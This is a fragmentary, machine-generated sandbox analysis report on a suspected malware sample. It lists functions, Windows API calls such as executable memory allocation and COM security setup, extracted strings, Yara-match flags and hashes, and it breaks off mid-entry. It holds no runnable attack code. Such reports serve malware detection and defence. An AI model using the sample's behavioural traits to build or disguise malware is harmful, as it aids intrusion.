COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02130223,?,?), ref: 02130E19
SetErrorMode.KERNELBASE(00000000,?,?,02130223,?,?), ref: 02130E1E

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 141337286ceb6be3880347a732b0624d5417ee66cd2ec71782f629bcf62dde42
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 7DD0123124512877D7013A94DC09BCD7B5CDF09B66F108021FB0DD9080C770954046E5

Function 00442020 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,00000000,?,?,0040BC80,00000000,00000000), ref: 00442052

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ea8428d80ce760913c6091ce044fd24d24df86904107ae5a33981043699a0a50
Instruction ID: ce4dc6f8cea40f70218e043c946db7baefed7d7f927e290f9bf4e18e7a102a01
Opcode Fuzzy Hash: ea8428d80ce760913c6091ce044fd24d24df86904107ae5a33981043699a0a50
Instruction Fuzzy Hash: 95E02B72514210ABF2101F387C05B1736749FC2715F054436F601A3111D739E811C19E

Function 0040D400 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040D413

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: b103da860b07b6caeef7231849386c8b9813f2fcc2fc8537c1924e67a92246bd
Instruction ID: 5b8c1c1c38bc235c753b9088e917c06d101502a7d4806eff28edba5b46e46085
Opcode Fuzzy Hash: b103da860b07b6caeef7231849386c8b9813f2fcc2fc8537c1924e67a92246bd
Instruction Fuzzy Hash: 32D05E7565014477D2146B18EC47F563658970375AF000229F663C65D1D910A915E569

Function 0040D433 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040D445

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 08574d9084c9b59a9be89533cd06f00eba31ac9089c6781083e346e8ebf9aaa5
Instruction ID: f87055a7ed73e73a39e7b0bf2bc1a884afc0d8708234b3b1202e7b1dbc502a37
Opcode Fuzzy Hash: 08574d9084c9b59a9be89533cd06f00eba31ac9089c6781083e346e8ebf9aaa5
Instruction Fuzzy Hash: 52D0C9787D8305B7F6685B18EC17F1632505306F61F340229B366FF6D0C9D07901961C

Function 004404E2 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 004404FD

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: ffaa9ae7a0f019c742f1804f8799764577334675712f88277fcdd572fe457cd5
Instruction ID: e6622cb3e0fd9e941ff1a23b217b6006838c210e8ccdd082eec4ddb73310e109
Opcode Fuzzy Hash: ffaa9ae7a0f019c742f1804f8799764577334675712f88277fcdd572fe457cd5
Instruction Fuzzy Hash: 4AC08C31504922EBC7102F28BC16BC63A14EF02762F0748B1F000A90B5C728EC91C9D8

Function 004404B0 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,00000001,00408C27,FDFCE302), ref: 004404C0

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1b7010b4c8090af6c82bcce16cf64795d3be7dfa4a7c6d6e8218ea40ee4cb554
Instruction ID: a3e7d273c8645b615fb13e0d68042f64d6ea605513032f2b713a79b74872f641
Opcode Fuzzy Hash: 1b7010b4c8090af6c82bcce16cf64795d3be7dfa4a7c6d6e8218ea40ee4cb554
Instruction Fuzzy Hash: CFC04871045220ABDA502B25EC09BCA3A68AF46662F0280A6B044A70B2C760AC82CA98

Function 005D0465 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 005D04B6

Memory Dump Source

Source File: 00000000.00000002.2334487456.00000000005D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: ccfa1cfe33d73c1334aaa5c1283835bd04c12ce6c7c6da2598788cef51fc63e8
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: CA112A79A40208EFDB01DF98C985E98BFF5AB08351F058095FA489B362D371EA50DB80

Non-executed Functions

Function 004127E0 Relevance: 185.7, APIs: 3, Strings: 102, Instructions: 1937COMMON

Download Yara Rule

Strings

>, xrefs: 00413AF8
v, xrefs: 00413188
X, xrefs: 004140EA
3, xrefs: 00412ADE
=, xrefs: 0041299B
]ZN, xrefs: 004142C8
b, xrefs: 00413F45
D, xrefs: 004145EE
!, xrefs: 004141B2
4, xrefs: 004141D2
L, xrefs: 0041414A
m, xrefs: 00413E7D
e, xrefs: 00413F3D
!, xrefs: 004141C2
(, xrefs: 00413D95
D, xrefs: 0041418A
B, xrefs: 0041419A
q, xrefs: 00413D24
H, xrefs: 0041416A
., xrefs: 00413B5A
L, xrefs: 0041328E
4, xrefs: 00413B2A
E, xrefs: 00412FB2
W, xrefs: 00413322
d, xrefs: 00413F35
r, xrefs: 00413EC5
-, xrefs: 00414152
0, xrefs: 00413B4A
p, xrefs: 00413ED5
*, xrefs: 00413D85
|, xrefs: 00413EF5
:, xrefs: 00413B0C
T, xrefs: 00413138
N, xrefs: 00412E53
M, xrefs: 00413599
P, xrefs: 0041412A
y, xrefs: 00413E1D
R, xrefs: 00413E2D
Z, xrefs: 004140DA
6, xrefs: 004133FE
`, xrefs: 00413810
(\{, xrefs: 0041387B, 0041440A, 004144EC, 0041456A, 0041469B, 00414701
@, xrefs: 00413580
a, xrefs: 00413158
, xrefs: 00413736
Q, xrefs: 00412921
,, xrefs: 00413716
\, xrefs: 004140CA
6, xrefs: 0041333A
", xrefs: 0041358F
:, xrefs: 00414212
$, xrefs: 00413756
1, xrefs: 00413B52
p, xrefs: 00413D1F
R, xrefs: 0041411A
+, xrefs: 00413406
]ZN, xrefs: 004142B1
^, xrefs: 004140BA
N, xrefs: 0041358A
$, xrefs: 0041340E
x, xrefs: 00413F15
z, xrefs: 00412FBA
', xrefs: 0041374E
T, xrefs: 0041410A
L, xrefs: 00413594
', xrefs: 00412C44
<, xrefs: 00413B02
@, xrefs: 004141AA
., xrefs: 0041357B
1, xrefs: 00413332
w, xrefs: 00413D1A
0, xrefs: 0041332A
A, xrefs: 00412B95
V, xrefs: 004140FA
%, xrefs: 00413416
q, xrefs: 00413284
8, xrefs: 00413B16
F, xrefs: 0041417A
B, xrefs: 00413576
&, xrefs: 00413746
8, xrefs: 00414202
~, xrefs: 00413EE5
z, xrefs: 00413F05
N, xrefs: 0041413A
2, xrefs: 00413B3A
w, xrefs: 00413571
J, xrefs: 0041415A
+, xrefs: 004141E2
v, xrefs: 00413EA5
f, xrefs: 00413F25
D, xrefs: 0041436D
$, xrefs: 004139A3
6, xrefs: 00413B20
9, xrefs: 00413585
t, xrefs: 00413EB5
S, xrefs: 00413289
", xrefs: 00413726
D, xrefs: 00412FAA
f, xrefs: 00413168
(, xrefs: 00413EFD
]ZN, xrefs: 004142B8
J, xrefs: 0041359E

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: $ ]ZN$ ]ZN$ ]ZN$!$!$"$"$$$$$$$%$&$'$'$($($(\{$*$+$+$,$-$.$.$0$0$1$1$2$3$4$4$6$6$6$8$8$9$:$:$<$=$>$@$@$A$B$B$D$D$D$D$E$F$H$J$J$L$L$L$M$N$N$N$P$Q$R$R$S$T$T$V$W$X$Z$\$^$`$a$b$d$e$f$f$m$p$p$q$q$r$t$v$v$w$w$x$y$z$z$|$~
API String ID: 0-909829527
Opcode ID: f5b952a7fa576cf3fac9bc8395e035e8ba89dd158049201593eea142aec36e13
Instruction ID: 11c8b48c8f4a98f758d37e8cd5808665052ec381988852a9cf89f45dba9536ca
Opcode Fuzzy Hash: f5b952a7fa576cf3fac9bc8395e035e8ba89dd158049201593eea142aec36e13
Instruction Fuzzy Hash: CF03B07010C7C08AD3259B38C5883EFBFD1AB96314F188A6EE5E9873D2D7798585871B

Function 02142A47 Relevance: 183.9, APIs: 2, Strings: 102, Instructions: 1937COMMON

Download Yara Rule

Strings

L, xrefs: 021443B1
4, xrefs: 02143D91
]ZN, xrefs: 0214452F
=, xrefs: 02142C02
(, xrefs: 02143FFC
T, xrefs: 02144371
!, xrefs: 02144419
\, xrefs: 02144331
q, xrefs: 02143F8B
$, xrefs: 02143675
*, xrefs: 02143FEC
:, xrefs: 02144479
&, xrefs: 021439AD
', xrefs: 021439B5
8, xrefs: 02143D7D
1, xrefs: 02143599
6, xrefs: 02143D87
R, xrefs: 02144094
@, xrefs: 021437E7
T, xrefs: 0214339F
N, xrefs: 021443A1
M, xrefs: 02143800
", xrefs: 021437F6
P, xrefs: 02144391
0, xrefs: 02143DB1
N, xrefs: 021430BA
m, xrefs: 021440E4
w, xrefs: 021437D8
., xrefs: 021437E2
!, xrefs: 02144429
J, xrefs: 02143805
S, xrefs: 021434F0
:, xrefs: 02143D73
Q, xrefs: 02142B88
,, xrefs: 0214397D
z, xrefs: 0214416C
N, xrefs: 021437F1
]ZN, xrefs: 0214451F
+, xrefs: 0214366D
D, xrefs: 02144855
, xrefs: 0214399D
(\{, xrefs: 02143AE2, 02144671, 02144753, 021447D1, 02144902, 02144968
%, xrefs: 0214367D
^, xrefs: 02144321
6, xrefs: 021435A1
p, xrefs: 0214413C
z, xrefs: 02143221
@, xrefs: 02144411
y, xrefs: 02144084
f, xrefs: 0214418C
4, xrefs: 02144439
$, xrefs: 02143C0A
v, xrefs: 021433EF
q, xrefs: 021434EB
Z, xrefs: 02144341
0, xrefs: 02143591
`, xrefs: 02143A77
D, xrefs: 021443F1
$, xrefs: 021439BD
X, xrefs: 02144351
A, xrefs: 02142DFC
]ZN, xrefs: 02144518
D, xrefs: 02143211
f, xrefs: 021433CF
p, xrefs: 02143F86
J, xrefs: 021443C1
V, xrefs: 02144361
-, xrefs: 021443B9
D, xrefs: 021445D4
R, xrefs: 02144381
", xrefs: 0214398D
<, xrefs: 02143D69
r, xrefs: 0214412C
t, xrefs: 0214411C
(, xrefs: 02144164
1, xrefs: 02143DB9
b, xrefs: 021441AC
+, xrefs: 02144449
6, xrefs: 02143665
>, xrefs: 02143D5F
v, xrefs: 0214410C
|, xrefs: 0214415C
L, xrefs: 021434F5
8, xrefs: 02144469
x, xrefs: 0214417C
3, xrefs: 02142D45
9, xrefs: 021437EC
E, xrefs: 02143219
., xrefs: 02143DC1
L, xrefs: 021437FB
W, xrefs: 02143589
e, xrefs: 021441A4
H, xrefs: 021443D1
2, xrefs: 02143DA1
a, xrefs: 021433BF
d, xrefs: 0214419C
F, xrefs: 021443E1
w, xrefs: 02143F81
B, xrefs: 021437DD
~, xrefs: 0214414C
B, xrefs: 02144401
', xrefs: 02142EAB

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: $ ]ZN$ ]ZN$ ]ZN$!$!$"$"$$$$$$$%$&$'$'$($($(\{$*$+$+$,$-$.$.$0$0$1$1$2$3$4$4$6$6$6$8$8$9$:$:$<$=$>$@$@$A$B$B$D$D$D$D$E$F$H$J$J$L$L$L$M$N$N$N$P$Q$R$R$S$T$T$V$W$X$Z$\$^$`$a$b$d$e$f$f$m$p$p$q$q$r$t$v$v$w$w$x$y$z$z$|$~
API String ID: 0-909829527
Opcode ID: 25a80902b9933ed18a7334007feda52168da80d7d92116ce929127663f5e30fb
Instruction ID: d424a86de925f1975779617d9c60ac159560325b8b8c6f480770248d20e9a12f
Opcode Fuzzy Hash: 25a80902b9933ed18a7334007feda52168da80d7d92116ce929127663f5e30fb
Instruction Fuzzy Hash: B303BD7054C7C08ED3259B38C8983AEBBD1AB96324F188A6DD5ED873C2DB798545CB13

Function 0041DE90 Relevance: 123.7, Strings: 98, Instructions: 1234COMMON

Download Yara Rule

Strings

w, xrefs: 0041E44B
g, xrefs: 0041E543
9, xrefs: 0041E5BB
Z, xrefs: 0041E3F6
d, xrefs: 0041E392
S, xrefs: 0041E48B
z, xrefs: 0041E450
L, xrefs: 0041E3C9
L, xrefs: 0041E45F
y, xrefs: 0041E613
?, xrefs: 0041E3EC
h, xrefs: 0041E446
B, xrefs: 0041E3CE
>, xrefs: 0041E432
F, xrefs: 0041E61B
L, xrefs: 0041E414
?, xrefs: 0041E5FB
G, xrefs: 0041F03A
~, xrefs: 0041E45A
D, xrefs: 0041E3FB
&, xrefs: 0041E1EA
|, xrefs: 0041E405
`, xrefs: 0041E53B
R, xrefs: 0041E40A
c, xrefs: 0041E503
L, xrefs: 0041E603
c, xrefs: 0041E423
t, xrefs: 0041E1FA
[, xrefs: 0041EB87
X, xrefs: 0041E120
?, xrefs: 0041E5DB
{, xrefs: 0041E4EB
N, xrefs: 0041E400
6, xrefs: 0041E5EB
{, xrefs: 0041E52B
q, xrefs: 0041F042
?, xrefs: 0041E5F3
k, xrefs: 0041E4BB
4, xrefs: 0041E464
c, xrefs: 0041E437
G, xrefs: 0041E5C3
|, xrefs: 0041E158
H, xrefs: 0041E3E2
i, xrefs: 0041EBB9
o, xrefs: 0041EBBE
}, xrefs: 0041E110
D, xrefs: 0041EB8C
F, xrefs: 0041EB96
e, xrefs: 0041EBA0
h, xrefs: 0041E3AB
q, xrefs: 0041E3D8
Z, xrefs: 0041E3A6
7, xrefs: 0041E1DA
L, xrefs: 0041E40F
!, xrefs: 0041E4D3
V, xrefs: 0041E39C
p, xrefs: 0041E428
/, xrefs: 0041E533
S, xrefs: 0041E3C4
v, xrefs: 0041E513
C, xrefs: 0041E3DD
(, xrefs: 0041E4E3
:, xrefs: 0041E483
(, xrefs: 0041E379
~, xrefs: 0041E100
d, xrefs: 0041EB9B
l, xrefs: 0041E0D8
', xrefs: 0041E138
T, xrefs: 0041E38D
U, xrefs: 0041E473
k, xrefs: 0041E60B
*, xrefs: 0041E140
S, xrefs: 0041E3BF
t, xrefs: 0041E43C
p, xrefs: 0041E50B
I, xrefs: 0041E573
Q, xrefs: 0041E3A1
[, xrefs: 0041E397
u, xrefs: 0041E42D
k, xrefs: 0041EBAA
x, xrefs: 0041E441
E, xrefs: 0041EB91
i, xrefs: 0041EBB4
g, xrefs: 0041E383
{, xrefs: 0041EBAF
P, xrefs: 0041E388
b, xrefs: 0041E46E
J, xrefs: 0041E3E7
4, xrefs: 0041E1E2
., xrefs: 0041E148
C, xrefs: 0041E3D3
g, xrefs: 0041EBA5
s, xrefs: 0041E108
], xrefs: 0041E160
\, xrefs: 0041E128
<, xrefs: 0041E3BA
u, xrefs: 0041E118
u, xrefs: 0041E455

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: !$&$'$($($*$.$/$4$4$6$7$9$:$<$>$?$?$?$?$B$C$C$D$D$E$F$F$G$G$H$I$J$L$L$L$L$L$N$P$Q$R$S$S$S$T$U$V$X$Z$Z$[$[$\$]$`$b$c$c$c$d$d$e$g$g$g$h$h$i$i$k$k$k$l$o$p$p$q$q$s$t$t$u$u$u$v$w$x$y$z${${${$|$|$}$~$~
API String ID: 0-1873956536
Opcode ID: fc18553a73c8fd4dc2fea3a9f9035c4283c881730360b760b769bf46582e99ae
Instruction ID: 931559f782a0dae5da6d3a2348cda9da3af0ea84656c223040a8e2c7efec153d
Opcode Fuzzy Hash: fc18553a73c8fd4dc2fea3a9f9035c4283c881730360b760b769bf46582e99ae
Instruction Fuzzy Hash: DAB28F3160C7C08BD325DA38C85439FBBD1ABD6324F184A6DE8E98B3C2D6799849C757

Function 0214E0F7 Relevance: 123.7, Strings: 98, Instructions: 1234COMMON

Download Yara Rule

Strings

g, xrefs: 0214EE0C
{, xrefs: 0214E752
Q, xrefs: 0214E608
6, xrefs: 0214E852
9, xrefs: 0214E822
<, xrefs: 0214E621
*, xrefs: 0214E3A7
L, xrefs: 0214E86A
|, xrefs: 0214E3BF
t, xrefs: 0214E461
(, xrefs: 0214E5E0
Z, xrefs: 0214E65D
:, xrefs: 0214E6EA
G, xrefs: 0214E82A
R, xrefs: 0214E671
k, xrefs: 0214E722
D, xrefs: 0214EDF3
G, xrefs: 0214F2A1
z, xrefs: 0214E6B7
k, xrefs: 0214E872
L, xrefs: 0214E630
c, xrefs: 0214E68A
q, xrefs: 0214F2A9
p, xrefs: 0214E772
B, xrefs: 0214E635
C, xrefs: 0214E63A
H, xrefs: 0214E649
?, xrefs: 0214E842
p, xrefs: 0214E68F
!, xrefs: 0214E73A
h, xrefs: 0214E612
b, xrefs: 0214E6D5
L, xrefs: 0214E676
c, xrefs: 0214E76A
S, xrefs: 0214E62B
~, xrefs: 0214E6C1
L, xrefs: 0214E67B
N, xrefs: 0214E667
`, xrefs: 0214E7A2
., xrefs: 0214E3AF
u, xrefs: 0214E37F
o, xrefs: 0214EE25
4, xrefs: 0214E6CB
e, xrefs: 0214EE07
P, xrefs: 0214E5EF
V, xrefs: 0214E603
E, xrefs: 0214EDF8
u, xrefs: 0214E6BC
g, xrefs: 0214E7AA
|, xrefs: 0214E66C
i, xrefs: 0214EE1B
{, xrefs: 0214E792
w, xrefs: 0214E6B2
d, xrefs: 0214E5F9
[, xrefs: 0214E5FE
k, xrefs: 0214EE11
&, xrefs: 0214E451
t, xrefs: 0214E6A3
}, xrefs: 0214E377
\, xrefs: 0214E38F
s, xrefs: 0214E36F
d, xrefs: 0214EE02
~, xrefs: 0214E367
], xrefs: 0214E3C7
i, xrefs: 0214EE20
>, xrefs: 0214E699
v, xrefs: 0214E77A
g, xrefs: 0214E5EA
?, xrefs: 0214E653
F, xrefs: 0214EDFD
/, xrefs: 0214E79A
u, xrefs: 0214E694
Z, xrefs: 0214E60D
q, xrefs: 0214E63F
J, xrefs: 0214E64E
h, xrefs: 0214E6AD
l, xrefs: 0214E33F
c, xrefs: 0214E69E
I, xrefs: 0214E7DA
D, xrefs: 0214E662
F, xrefs: 0214E882
X, xrefs: 0214E387
[, xrefs: 0214EDEE
4, xrefs: 0214E449
S, xrefs: 0214E6F2
', xrefs: 0214E39F
?, xrefs: 0214E862
(, xrefs: 0214E74A
{, xrefs: 0214EE16
U, xrefs: 0214E6DA
L, xrefs: 0214E6C6
7, xrefs: 0214E441
S, xrefs: 0214E626
x, xrefs: 0214E6A8
T, xrefs: 0214E5F4
C, xrefs: 0214E644
y, xrefs: 0214E87A
?, xrefs: 0214E85A

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: !$&$'$($($*$.$/$4$4$6$7$9$:$<$>$?$?$?$?$B$C$C$D$D$E$F$F$G$G$H$I$J$L$L$L$L$L$N$P$Q$R$S$S$S$T$U$V$X$Z$Z$[$[$\$]$`$b$c$c$c$d$d$e$g$g$g$h$h$i$i$k$k$k$l$o$p$p$q$q$s$t$t$u$u$u$v$w$x$y$z${${${$|$|$}$~$~
API String ID: 0-1873956536
Opcode ID: 956e5634ba402c0b98be263ec24341df1d894c542c900cdbbef8950896477da6
Instruction ID: 566fabafc6bcd310fbc62f2cef5004fb30c371463aefcdceaaaee42949843b74
Opcode Fuzzy Hash: 956e5634ba402c0b98be263ec24341df1d894c542c900cdbbef8950896477da6
Instruction Fuzzy Hash: 87B27D7164C7C08FD325CA38885439EBBD2ABD6324F094A6DE4E98B3C1DB799809C753

Function 0042621B Relevance: 35.0, Strings: 27, Instructions: 1202COMMON

Download Yara Rule

Strings

Z[, xrefs: 00426E5E
:vt, xrefs: 00426872
7w, xrefs: 00426E11
(]2_, xrefs: 00426A7B
wDuJ, xrefs: 004270A8
3416, xrefs: 004275C5
7J0H, xrefs: 00426452
SP, xrefs: 004270C9
jh, xrefs: 00426647
F;D, xrefs: 00426431
qVol, xrefs: 004272F5, 0042730C, 004273DA, 004273EA
zx, xrefs: 00426426
N>_<, xrefs: 00426560
3416, xrefs: 004273A5
Vt%t, xrefs: 00426E81
bxB, xrefs: 00427850
Teg, xrefs: 00426ABD
{HyN, xrefs: 004270B3
zx, xrefs: 0042661B
nl, xrefs: 0042663C
(\{, xrefs: 00426F44, 004277B0
s@qF, xrefs: 0042700F
2U/W, xrefs: 00426A91
6fd, xrefs: 00426846
Ta\c, xrefs: 00426AB2
'Y<[, xrefs: 00426A70
2{<u, xrefs: 00426E06

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: F;D$zx$'Y<[$(\{$(]2_$2U/W$2{<u$3416$3416$6fd$7J0H$7w$:vt$N>_<$SP$Ta\c$Teg$Vt%t$Z[$bxB$qVol$s@qF$wDuJ${HyN$jh$nl$zx
API String ID: 0-3446576692
Opcode ID: d34ec39eb96bb7efa42d43d0cecc10ce8a4047bc9737a28ca6cdc305126fa738
Instruction ID: 8ebcec6048e81b7414bf2c44ea1e9f7dace67e943cef4cf10300ed7be7304af5
Opcode Fuzzy Hash: d34ec39eb96bb7efa42d43d0cecc10ce8a4047bc9737a28ca6cdc305126fa738
Instruction Fuzzy Hash: D1B273B160C3918BD334CF14D8417ABBBF2FB95304F44892DD4C99B252D7798A4ADB8A

Function 00417222 Relevance: 27.4, APIs: 4, Strings: 11, Instructions: 1137COMMON

Download Yara Rule

Strings

pA, xrefs: 004176B7
>gVf, xrefs: 00417278, 004172A4
}&'$, xrefs: 00417BD7
TW, xrefs: 00417D76
WH, xrefs: 00417D6E
7, xrefs: 00417D7E
ruA, xrefs: 0041755F
(\{, xrefs: 00417302, 00417414
), xrefs: 0041747C
*, xrefs: 00418053
X2c0, xrefs: 00417775

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: pA$(\{$)$*$7$>gVf$TW$WH$X2c0$ruA$}&'$
API String ID: 0-2061461429
Opcode ID: 066c8ce5b71a5b696cd3803d73cf449c38db815dbdda3cc7b9b4004b6f854aec
Instruction ID: db295268db8bdf45a891635b6dee4b286def9570c954afad4e7b9bb962e3f9ad
Opcode Fuzzy Hash: 066c8ce5b71a5b696cd3803d73cf449c38db815dbdda3cc7b9b4004b6f854aec
Instruction Fuzzy Hash: 947211756483528BD324CF28C8917ABBBF1FF95314F18896DE4C58B3A1E7388945CB86

Function 0216D337 Relevance: 27.2, APIs: 8, Strings: 7, Instructions: 957memorycomCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(80838290,00000000,00000001,?,00000000), ref: 0216D7D9
SysAllocString.OLEAUT32 ref: 0216D86F
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0216D8AD
SysAllocString.OLEAUT32 ref: 0216D90F
SysAllocString.OLEAUT32 ref: 0216D9CC
VariantInit.OLEAUT32(?), ref: 0216DA3D
SysFreeString.OLEAUT32(00000000), ref: 0216DDC4

Strings

[J, xrefs: 0216D484
{pqv, xrefs: 0216D387
yv, xrefs: 0216DA7A
tu, xrefs: 0216D813
[B, xrefs: 0216D48C
fF, xrefs: 0216D837
CfF, xrefs: 0216D867

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID: String$Alloc$BlanketCreateFreeInitInstanceProxyVariant
String ID: fF$CfF$[B$[J$tu$yv${pqv
API String ID: 2895375541-1972840126
Opcode ID: bdaff328534dd5683dbd10ee3d6b6dc991919c11ec2b92dd5ed535f15564d12e
Instruction ID: 9f1818d78b127903c4a8ec1b0df9849c1b8538bd8fbab98b5e260577882b3bef
Opcode Fuzzy Hash: bdaff328534dd5683dbd10ee3d6b6dc991919c11ec2b92dd5ed535f15564d12e
Instruction Fuzzy Hash: 69622272A583508FE324CF68D89576FBBE1EF85314F19892CE4D58B390D7799809CB82

Function 0041618C Relevance: 16.0, Strings: 12, Instructions: 1044COMMON

Download Yara Rule

Strings

yx, xrefs: 0041628E
fjM, xrefs: 00416B0D
pSlM, xrefs: 00416406
6, xrefs: 00416C5B
y~, xrefs: 00416283
YjM, xrefs: 00416B56
6y, xrefs: 00416278
(\{, xrefs: 004165CD, 0041662B, 00416685, 004166CF, 00416744, 0041682D, 004169FA, 00416A43, 00416D22, 00416D9B
{, xrefs: 00416299
EnA, xrefs: 00416E3F
fjM, xrefs: 00416BB3
YjM, xrefs: 00416BF6

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: (\{$6$6y$EnA$YjM$YjM$fjM$fjM$pSlM$yx$y~${
API String ID: 0-3720371475
Opcode ID: bcc76d1abf98286d77b35e6a0b09e71a8baff3536dadb212a893043a5b643fc1
Instruction ID: a2001c8a8adb2b8dbf3dd01cda6d968c98786edfc2a21b29c8f54ffb17cc71b7
Opcode Fuzzy Hash: bcc76d1abf98286d77b35e6a0b09e71a8baff3536dadb212a893043a5b643fc1
Instruction Fuzzy Hash: 9762E3741083418FE724CF25C891BAB77E1FF86314F15496DE0D69B2A2D738D84ACB9A

Function 00411BDE Relevance: 12.8, APIs: 1, Strings: 6, Instructions: 555COMMON

Download Yara Rule

Strings

